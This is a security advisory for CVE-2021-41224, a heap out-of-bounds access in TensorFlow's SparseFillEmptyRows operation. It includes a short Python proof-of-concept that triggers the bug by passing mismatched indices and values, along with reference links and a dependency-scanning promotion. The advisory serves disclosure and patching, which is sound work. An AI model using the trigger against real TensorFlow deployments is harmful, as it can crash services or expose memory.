CVE-2021-41224: `SparseFillEmptyRows` heap OOB
(updated )
The implementation of SparseFillEmptyRows
can be made to trigger a heap OOB access:
import tensorflow as tf
data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')
This occurs whenever the size of indices
does not match the size of values
.
References
- github.com/advisories/GHSA-rg3m-hqc5-344v
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-633.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-831.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-416.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b
- github.com/tensorflow/tensorflow/security/advisories/GHSA-rg3m-hqc5-344v
- nvd.nist.gov/vuln/detail/CVE-2021-41224
Detect and mitigate CVE-2021-41224 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →